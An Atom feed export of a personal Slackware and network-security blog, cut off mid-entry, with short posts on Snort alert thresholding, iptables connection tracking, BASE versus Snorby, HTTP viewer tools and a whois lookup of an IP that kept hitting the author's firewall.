<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-13095995</id><updated>2012-01-19T10:58:36.230-05:00</updated><category term='dual core'/><category term='BASH'/><category term='PHPBB'/><category term='MyNetworkWatchman'/><category term='Dummies'/><category term='logs'/><category term='assessment'/><category term='fwlogsearch'/><category term='Application Security'/><category term='checkinstall'/><category term='init script'/><category term='PCMCIA'/><category term='malware'/><category term='Firekeeper'/><category term='webmin'/><category term='pf'/><category term='Phenom'/><category term='PCIe'/><category term='analytics'/><category term='Apple'/><category term='upgrade'/><category term='gz'/><category term='thresholding'/><category term='TigerDirect'/><category term='WPA2'/><category term='VPN'/><category term='webserver'/><category term='awk'/><category term='mouse'/><category term='wpa_supplicant'/><category term='Logitech'/><category term='permissive free software license'/><category term='kismac'/><category term='Dell'/><category term='security+'/><category term='motherboard'/><category term='gOS'/><category term='bzip2'/><category term='BIOS'/><category term='wget'/><category term='bz2'/><category term='scripting'/><category term='system'/><category term='Linksys PSUS4'/><category term='Mibbit'/><category term='Metaspoit'/><category term='grep logs'/><category term='wifi'/><category term='Xorg'/><category term='SAGAN'/><category term='snort rule conversion'/><category term='fetch'/><category term='Linksys'/><category term='memory'/><category term='Ultra'/><category term='trojan'/><category term='Fail2ban'/><category term='Sharp'/><category term='GPL'/><category term='hplip'/><category term='Netgear'/><category term='local exploit'/><category term='Firefox'/><category term='wflogs'/><category term='eggdrop'/><category term='Snort'/><category term='ISC'/><category term='xorg.conf'/><category term='tap'/><category term='CMS'/><category term='Slackware'/><category term='.wbar'/><category term='linuxquestions.org'/><category term='Broadcom'/><category term='remote file inclusion'/><category term='motherboard failure'/><category term='correlation'/><category term='WPC54GS'/><category term='Intel'/><category term='emergingthreats.com'/><category term='Filelight'/><category term='old hardware'/><category term='tcpdump'/><category term='data injection'/><category term='IDS'/><category term='gparted'/><category term='Trident'/><category term='bzgrep'/><category term='airplane'/><category term='WAP security'/><category term='rsa'/><category term='Tivo'/><category term='perl'/><category term='cve.mitre.org'/><category term='CompTIA'/><category term='b43xx'/><category term='event'/><category term='slackbox'/><category term='phpsysinfo'/><category term='ModSecurity'/><category term='LAN'/><category term='GUI'/><category term='barebones'/><category term='Shell'/><category term='slackbuilds.org'/><category term='e-Geforce'/><category term='Direct TV'/><category term='plugin'/><category term='ipf'/><category term='macbook'/><category term='IRC'/><category term='computer'/><category term='spyware'/><category term='slackpack'/><category term='fwlogwatch'/><category term='AMD'/><category term='web server'/><category term='Ruby on Rails'/><category term='tomato'/><category term='Kraken'/><category term='scripts'/><category term='hibernation'/><category term='bruteforce'/><category term='webserver logs'/><category term='starchild'/><category term='ethernet'/><category term='Prey'/><category term='router'/><category term='boot'/><category term='Pidgin'/><category term='GAIM'/><category term='ssh'/><category term='Secunia.com'/><category term='SL5500'/><category term='tar'/><category term='private'/><category term='AWS'/><category term='Toshiba Satellite'/><category term='penetration'/><category term='iwconfig'/><category term='phishing'/><category term='packages.slackware.it'/><category term='Comcast'/><category term='fan'/><category term='Einstein'/><category term='wireless'/><category term='PHPMyAdmin'/><category term='TaoSecurity'/><category term='twitter'/><category term='Arctic Cooling'/><category term='kernel'/><category term='ban'/><category term='sensor'/><category term='Verizon'/><category term='Actiontec'/><category term='Ubuntu'/><category term='LiveCD'/><category term='Sophos'/><category term='health'/><category term='web-sniffer'/><category term='ethernet-tap'/><category term='Denyhosts'/><category term='Noscript'/><category term='keys'/><category term='Dshield'/><category term='Vrtservers'/><category term='loopback'/><category term='Amazon'/><category term='xine'/><category term='Zenwalk'/><category term='LinuxFormat'/><category term='##slackware'/><category term='HardInfo'/><category term='Asus'/><category term='tips'/><category term='e-mail'/><category term='archiving'/><category term='source port 6000'/><category term='Busybox'/><category term='Mac'/><category term='power supply'/><category term='zombie host'/><category term='bad drive'/><category term='sniffing'/><category term='ndiswrapper'/><category term='FF'/><category term='trustedsource'/><category term='software cracker'/><category term='laptop'/><category term='Pat Volkerding'/><category term='RFI'/><category term='splunk'/><category term='network assessment'/><category term='EVGA'/><category term='MySQL'/><category term='64-bit'/><category term='idiotic'/><category term='WPA'/><category term='security'/><category term='IPS'/><category term='Thunderbird'/><category term='tracking'/><category term='SANS'/><category term='access.log'/><category term='FreeBSD'/><category term='BASE'/><category term='IPTables'/><category term='forensics'/><category term='auth.log'/><category term='case'/><category term='7300 GT'/><category term='hand-built'/><category term='difficulties'/><category term='Toshiba'/><category term='SATA'/><category term='FiOS'/><category term='filesystem'/><category term='1805-S274'/><category term='security event log correlation'/><category term='NSM'/><category term='glxgears'/><category term='*nix'/><category term='Zaurus'/><category term='gaming rig'/><category term='SnortSnarf'/><category term='testing'/><category term='irc.freenode.net'/><category term='suspend'/><category term='OpenBSD'/><category term='LQ.org'/><category term='bunzip2'/><category term='wiki'/><category term='signatures'/><category term='Dell Mini'/><category term='CNET'/><category term='CyberAlladin'/><category term='SEIM'/><category term='mynetwatchman'/><category term='MS Blaster'/><category term='Northbridge'/><category term='RC5'/><category term='Firewall'/><category term='http'/><category term='RAM'/><category term='curl'/><category term='Snortalog'/><category term='snort logs'/><category term='RSHV'/><category term='SEM'/><category term='Mozilla'/><category term='telnet'/><category term='WLAN'/><category term='ECS'/><category term='log investigation'/><category term='distributed brute force'/><category term='linux'/><category term='apache'/><category term='bots'/><category term='Snorby'/><category term='crash'/><category term='DHS'/><category term='NSA'/><category term='milw0rm'/><category term='dock'/><category term='Freenode'/><category term='nmap'/><category term='attacks'/><category term='gdesklets'/><category term='brute'/><category term='force'/><category term='shawcable.net'/><category term='SMP'/><category term='connection tracking'/><category term='viewer'/><category term='Gems'/><category term='xchat'/><category term='v11.0'/><category term='antivirus'/><category term='Linode.com'/><category term='Inspiron 8500'/><category term='scans'/><category term='hacks'/><category term='SSD'/><category term='MS-SQL'/><category term='dsa'/><category term='Dell Mini 9'/><category term='linuxcounter.org'/><category term='UPS'/><category term='netcat'/><category term='Slamd64'/><title type='text'>The 'S' Files</title><subtitle type='html'>This is an online log of my Slackware experiences.  Be aware that I'm also using this blog to cover basic and intermediate security issues that may not pertain to Slackware.  This is my way of consolidating blogs (I've several of them).</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default?start-index=101&amp;max-results=100'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>125</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-13095995.post-316505093259417698</id><published>2011-08-04T12:16:00.000-04:00</published><updated>2011-08-04T12:16:53.644-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thresholding'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='TaoSecurity'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='linuxquestions.org'/><title type='text'>Snort and Thresholding Noisy Alerts</title><content type='html'>I'm trying to stay sharp as a security techie, so I've been trying to contribute to Linux and security forums.&amp;nbsp; There's a guy who was asking how to use bpf.conf with Snort.&amp;nbsp; I suggested he use threshold.conf instead.&amp;nbsp; I actually referenced &lt;a href="http://taosecurity.blogspot.com/2006/08/more-snort-and-sguil-tuning.html"&gt;this&lt;/a&gt; (I love TaoSecurity) to help him.&amp;nbsp; He was being flooded with "SHELLCODE x86 inc ecx NOOP" alerts.&amp;nbsp; The assistance thread is &lt;a href="http://www.linuxquestions.org/questions/linux-security-4/using-a-bpf-filter-to-control-the-amount-of-alerts-i-get-in-snort-895534/"&gt;here&lt;/a&gt;, at LinuxQuestions.org.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-316505093259417698?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/316505093259417698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=316505093259417698' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/316505093259417698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/316505093259417698'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2011/08/snort-and-thresholding-noisy-alerts.html' title='Snort and Thresholding Noisy Alerts'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4565794322114942153</id><published>2011-05-04T14:32:00.001-04:00</published><updated>2011-07-19T20:13:22.656-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='connection tracking'/><category scheme='http://www.blogger.com/atom/ns#' term='IPTables'/><title type='text'>Connection Tracking and IPTables</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://conntrack-tools.netfilter.org/files/testcase.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://conntrack-tools.netfilter.org/files/testcase.png" width="176" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.faqs.org/docs/iptables/theconntrackentries.html"&gt;Conntrack entries&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'm making a point of trying to read through this Iptables document.  The connection tracking function is pretty cool, though.  I was aware of the functionality but had never seen the logs at /proc/net/ip_conntrack until this morning.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4565794322114942153?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4565794322114942153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4565794322114942153' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4565794322114942153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4565794322114942153'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2011/05/connection-tracking-and-iptables.html' title='Connection Tracking and IPTables'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6277045423531246825</id><published>2011-04-14T16:52:00.002-04:00</published><updated>2011-07-19T20:06:19.506-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NSM'/><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='SEM'/><category scheme='http://www.blogger.com/atom/ns#' term='SEIM'/><category scheme='http://www.blogger.com/atom/ns#' term='BASE'/><title type='text'>BASE and Snorby:  packet captures</title><content type='html'>Noticed that someone on the interwebz stated that Snorby captures full payload while BASE doesn't.&amp;nbsp; I read this as a comment on the Snorby pages.&amp;nbsp; Unless I'm totally off-base here, that's not the case, unless they're taking about something like netflows or something akin to it.&amp;nbsp; I believe one of the dev guys stated that only Snorby and Sguil offer full packet capturing.&amp;nbsp; That does NOT sound right and I believe he should clarify.&lt;br /&gt;&lt;br /&gt;I'll dig up the link later, but it should be very apparent on their pages (it was to me, when I was perusing).&lt;br /&gt;&lt;br /&gt;So, I pulled up my BASE console and looked at a sample packet.&amp;nbsp; To look at payload/packets within BASE, you go to a line item then click on the "ID", which would look akin to "2-278900".&amp;nbsp; &lt;br /&gt;&lt;br /&gt;BASE capture view:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vtZHV0Z2Qws/TadYT5ptg_I/AAAAAAAAAKM/xv1pm2m8KQg/s1600/base1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://4.bp.blogspot.com/-vtZHV0Z2Qws/TadYT5ptg_I/AAAAAAAAAKM/xv1pm2m8KQg/s400/base1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Snorby capture view:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-x7NWVj8dnLo/TadYcaCyDwI/AAAAAAAAAKQ/7Y7FxlIElrU/s1600/snorby1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://3.bp.blogspot.com/-x7NWVj8dnLo/TadYcaCyDwI/AAAAAAAAAKQ/7Y7FxlIElrU/s400/snorby1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Now, I don't see either lacking in that regard.&amp;nbsp; This is enough for the analyst to determine a false positive vs. a real attack/concern.&lt;br /&gt;&lt;br /&gt;Now, if I wanted to further investigate, I can (in BASE), go to a listing, then click the offending IP (or the other IP...doesn't matter).&amp;nbsp; Then I click "Unique alerts" or "Unique IP links" under "Summary Statistics":&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-oOrRB3ZqKtM/TadaUfEsg1I/AAAAAAAAAKU/TM1M0valjfs/s1600/base2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="276" src="http://2.bp.blogspot.com/-oOrRB3ZqKtM/TadaUfEsg1I/AAAAAAAAAKU/TM1M0valjfs/s400/base2.png" width="400" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/td&gt;&lt;td style="text-align: center;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Unique alerts&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;This is basic stuff here.&amp;nbsp; It shows the history of that particular IP...it shows everything that was ever recorded from that IP, and you can dig down from there.&amp;nbsp; Source/Destination would show bidirectional traffic between the offending IP and whatever it was communicating with.&amp;nbsp; I'll get payload every time, IF (BIG IF HERE) the Snort signature is designed to capture payload and if the traffic even has payload.&lt;br /&gt;&lt;br /&gt;I don't understand the argument of saying that BASE doesn't capture full payload.&amp;nbsp; Of course, BASE won't.&amp;nbsp; It's just a SEM.&amp;nbsp; Snort would actually do the capturing.&amp;nbsp; It would also totally depend on who sets up Snort and their requirements.&amp;nbsp; The admin that configures Snort may not even have all the sigs enabled.&amp;nbsp; But, BASE will show any payload that Snort does capture.&lt;br /&gt;&lt;br /&gt;At this point, Snorby's search and analytical functionality is lacking.&amp;nbsp; I've said this before and got ridiculed by one of the Snorby developers.&amp;nbsp; We all know Snorby is relatively new when comparing it to BASE, but until the Snorby dev team enables better query functionality and better ways to quickly track activity, I'm going to stick to my guns.&amp;nbsp; A pretty (and even simplified) interface is one thing, but when it comes to the meat and potatoes, candy apples doesn't cut it.&amp;nbsp; As an analyst, I'd not want to lose any type of query features, as this will make a sometimes frustrating job all the more frustrating (been there, done that).&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Lastly, I will NOT HAVE A PISSING MATCH over this.&lt;/b&gt;&lt;/i&gt;&amp;nbsp; I've been doing such comparisons for YEARS and am fully capable of judging what is acceptable and what is not regarding most security tools (that's why I get paid the big bucks), although I'm always objective in my opinions.&amp;nbsp; I definitely know what "best of breed" entails.&amp;nbsp; I'm going to put it out there:&amp;nbsp; Snorby is NOT best of breed.&amp;nbsp; I'd love it to be, but right now, it is NOT.&amp;nbsp; It has to help me sort/organize/filter information that helps me catch malware and such...much more that what it currently offers.&amp;nbsp; Right now, with Snorby, there's no such thing as digging down or simplifying the search through thousands of potentially bad security events.&amp;nbsp; "Packet capture options/Customer" isn't going to cut it.&amp;nbsp; It is good for the small investigation but for the bigger tasks.&amp;nbsp; Let's be grown-ups about this topic and offer objective opinions.&amp;nbsp;&lt;i&gt;&lt;b&gt; If you can't do that, don't even try to leave some nasty comment on this blog.&lt;/b&gt;&lt;/i&gt;&amp;nbsp; Comments moderation is enabled.&amp;nbsp; Yes, I do require clarification on what is considered "full payload analysis", as I feel that's not enough of a description and could actually be relating to something else entirely different that the above (I doubt it, though).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6277045423531246825?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6277045423531246825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6277045423531246825' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6277045423531246825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6277045423531246825'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2011/04/base-and-snorby-packet-captures.html' title='BASE and Snorby:  packet captures'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-vtZHV0Z2Qws/TadYT5ptg_I/AAAAAAAAAKM/xv1pm2m8KQg/s72-c/base1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-751005364825049619</id><published>2011-03-21T13:46:00.001-04:00</published><updated>2011-05-04T14:34:17.654-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='GUI'/><title type='text'>GUIs for Snort</title><content type='html'>GUIs for Snort --&lt;br /&gt;&lt;br /&gt;http://blog.snort.org/2011/01/guis-for-snort.html&lt;br /&gt;&lt;br /&gt;Some of these might appeal to you, the network/security administrator, depending on your organization's needs.  Note:  there is NO best in breed tool...it totally depends on your organization's needs, which will vary when comparing org X to org Y.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-751005364825049619?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/751005364825049619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=751005364825049619' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/751005364825049619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/751005364825049619'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2011/03/guis-for-snort.html' title='GUIs for Snort'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5915087529508681462</id><published>2011-02-02T11:58:00.003-05:00</published><updated>2011-02-02T12:15:48.046-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http'/><category scheme='http://www.blogger.com/atom/ns#' term='curl'/><category scheme='http://www.blogger.com/atom/ns#' term='telnet'/><category scheme='http://www.blogger.com/atom/ns#' term='web-sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='fetch'/><category scheme='http://www.blogger.com/atom/ns#' term='RSHV'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='viewer'/><title type='text'>HTTP Viewers</title><content type='html'>I found something that is very similar to &lt;a href="http://web-sniffer.net/"&gt;Web-sniffer.net&lt;/a&gt; (an HTTP viewer/proxy)...it is called "&lt;a href="http://www.rexswain.com/httpview.html"&gt;Rex Swain's HTTP Viewer&lt;/a&gt;".  That's a mouthful, so I'll call it RSHV.&lt;br /&gt;&lt;br /&gt;One thing that Web-sniffer can't do is allow for referer configuration.  RSHV will let you configure the referer (in fact, this appears to be a recently added feature).  Why is this sometimes important?  Read &lt;a href="http://isc.sans.edu/diary.html?storyid=10279"&gt;here&lt;/a&gt;.  In comparison to Web-Sniffer.net, RSHV is better documented.  A con of RSHV is that it won't do HTTPS.&lt;br /&gt;&lt;br /&gt;Why do I call these HTTP viewers proxies?  Well, they are.  When you utilize those tools to view, for example, pages/headers at &lt;a href="http://wigglit.ath.cx"&gt;wigglit.ath.cx&lt;/a&gt;, if you check the web logs at wigglit.ath.cx, you'll see the traffic you generated came from someone else's IP (and not the one that was assigned to your machine when you visited wigglit.ath.cx).  That's a protection, in my opinion...this means you can conduct research without having to use a lab system to prevent infection.&lt;br /&gt;&lt;br /&gt;Note that the services these two tools provide can be done on pretty much any computer (*nix or win32/64).  Just use &lt;a href="http://www.esqsoft.com/examples/troubleshooting-http-using-telnet.htm"&gt;telnet&lt;/a&gt;.  Of course, wget can also be used (or fetch or curl), but I consider that to be a more cumbersome solution (although you may be able to create scripts that you can use wget/fetch/curl with).&lt;br /&gt;&lt;br /&gt;Utilizing such tools in such a manner is important when conducting security analysis (for instance, validating that a certain website is or isn't compromised and serving malware).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5915087529508681462?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5915087529508681462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5915087529508681462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5915087529508681462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5915087529508681462'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2011/02/http-viewers.html' title='HTTP Viewers'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7910218109712473116</id><published>2010-10-05T22:30:00.002-04:00</published><updated>2011-02-02T12:02:10.885-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='brute'/><category scheme='http://www.blogger.com/atom/ns#' term='force'/><title type='text'>58.221.32.117 hammering my server</title><content type='html'>I've been seeing 58.221.32.117 in my logs, especially within the last week or so.&amp;nbsp; So far, I've 5,356 instances of blocking by the firewall for this particular IP.&amp;nbsp; All traffic is coming from source port 80 of that IP.&amp;nbsp; Yes, every single instance was blocked.&lt;br /&gt;&lt;br /&gt;Has anyone else seen similar activity from this IP?&lt;br /&gt;&lt;br /&gt;A whois shows the following:&lt;br /&gt;&lt;table border="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left"&gt;&lt;th class="title" colspan="2"&gt;&lt;br /&gt;&lt;/th&gt;       &lt;/tr&gt;&lt;tr class="odd"&gt;        &lt;th style="text-align: left;"&gt;IP address [&lt;a href="http://www.ip-adress.com/host/" target="_self"&gt;?&lt;/a&gt;]:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;&lt;span style="font-size: 9pt; font-weight: bold;"&gt;58.221.32.117&lt;/span&gt;                 &lt;a href="javascript:ctc()"&gt;&lt;span id="ctc" style="text-decoration: none;"&gt;&lt;/span&gt;&lt;/a&gt;         &lt;script type="text/javascript"&gt;if(window.clipboardData){var obj=document.getElementById("ctc");if(obj){obj.appendChild(document.createTextNode("[Copy]"));}}&lt;/script&gt;                 &lt;a href="http://www.ip-adress.com/whois/58.221.32.117"&gt;[Whois]&lt;/a&gt;         &lt;a href="http://www.ip-adress.com/reverse_ip/58.221.32.117"&gt;[Reverse IP]&lt;/a&gt;        &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="even"&gt;        &lt;th style="text-align: left;"&gt;IP country code:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;CN       &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="odd"&gt;        &lt;th style="text-align: left;"&gt;IP address country:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;&lt;img alt="ip address flag" src="http://www.ip-adress.com/flags/cn.png" /&gt;        China               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="even"&gt;        &lt;th style="text-align: left;"&gt;IP address state:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;Beijing               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="odd"&gt;        &lt;th style="text-align: left;"&gt;IP address city:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;Beijing               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="even"&gt;        &lt;th style="text-align: left;"&gt;IP address latitude:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;39.9289               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="odd"&gt;        &lt;th style="text-align: left;"&gt;IP address longitude:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;116.3883               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="even"&gt;        &lt;th style="text-align: left;"&gt;ISP of this IP [&lt;a href="http://www.ip-adress.com/isp" target="_self"&gt;?&lt;/a&gt;]:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;CHINANET jiangsu province network               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="odd"&gt;        &lt;th style="text-align: left;"&gt;Organization:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;CHINANET jiangsu province network               &lt;/td&gt;       &lt;/tr&gt;&lt;tr class="even"&gt;        &lt;th style="text-align: left;"&gt;Local time in China:&lt;/th&gt;        &lt;td style="text-align: left;"&gt;2010-10-06 10:29&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="text-align: left;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7910218109712473116?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7910218109712473116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7910218109712473116' 